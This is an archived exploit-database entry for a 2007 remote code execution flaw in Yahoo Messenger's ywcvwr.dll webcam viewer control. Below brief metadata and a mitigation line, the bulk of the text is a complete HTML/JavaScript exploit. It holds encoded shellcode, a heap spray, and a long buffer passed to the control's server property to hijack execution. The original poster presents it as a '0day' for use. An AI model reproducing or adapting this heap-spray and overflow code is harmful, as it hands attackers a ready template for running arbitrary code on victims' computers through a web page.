Remote Code Execution in ywcvwr.dll with Yahoo Messenger

vendor:

Yahoo Messenger

by:

Unknown

CVSS

CRITICAL

Remote Code Execution

CWE

Product Name: Yahoo Messenger

Affected Version From: Unknown

Affected Version To: Latest version tested

Patch Exists: NO

Related CWE:

CPE: cpe:2.3:a:yahoo:messenger:*:*:*:*:*:*:*:*

Metasploit:

Other Scripts:

Platforms Tested: Windows

2007

Remote Code Execution in ywcvwr.dll with Yahoo Messenger

This exploit affects the viewer ywcvwr.dll with Yahoo Messenger. The latest version has been tested. The exploit leverages a fixed bug in the last post. The exploit allows an attacker to execute arbitrary code on the target system. The link to the exploit details can be found at http://www.informationweek.com/news/showArticle.jhtml?articleID=199901856.

Mitigation:

Apply the latest patches and updates from Yahoo Messenger. Avoid opening or accepting files from untrusted sources.

Source

Exploit-DB raw data:

This affects the viewer ywcvwr.dll with yahoo messenger
  latest version tested.
  Fixed bug in last post
  (x=0;xi<800;x++) should be  (x=0; x<800; x++)
   
  Here is your 2nd 0day!!!
  link:http://www.informationweek.com/news/showArticle.jhtml?articleID=199901856 
   
<html> 
<object classid='clsid:9D39223E-AE8E-11D4-8FD3-00D0B7730277' id='target'></object> 
<script>
shellcode = unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" + 
"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" + 
"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" + 
"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" + 
"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" + 
"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" + 
"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" + 
"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" + 
"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" + 
"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" + 
"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" + 
"%uCC4A%uD0FF"); 
bigblock = unescape("%u9090%u9090"); 
headersize = 20; 
slackspace = headersize+shellcode.length 
while (bigblock.length<slackspace) bigblock+=bigblock; 
fillblock = bigblock.substring(0, slackspace); 
block = bigblock.substring(0, bigblock.length-slackspace); 
while(block.length+slackspace<0x40000) block = block+block+fillblock; 
memory = new Array(); 
for (x=0; x<800; x++) memory[x] = block + shellcode; 
var buffer = '\x0a'; 
while (buffer.length < 5000) buffer+='\x0a\x0a\x0a\x0a'; 
target.server = buffer; 
target.receive(); 
</script> 
</html> 

# milw0rm.com [2007-06-07]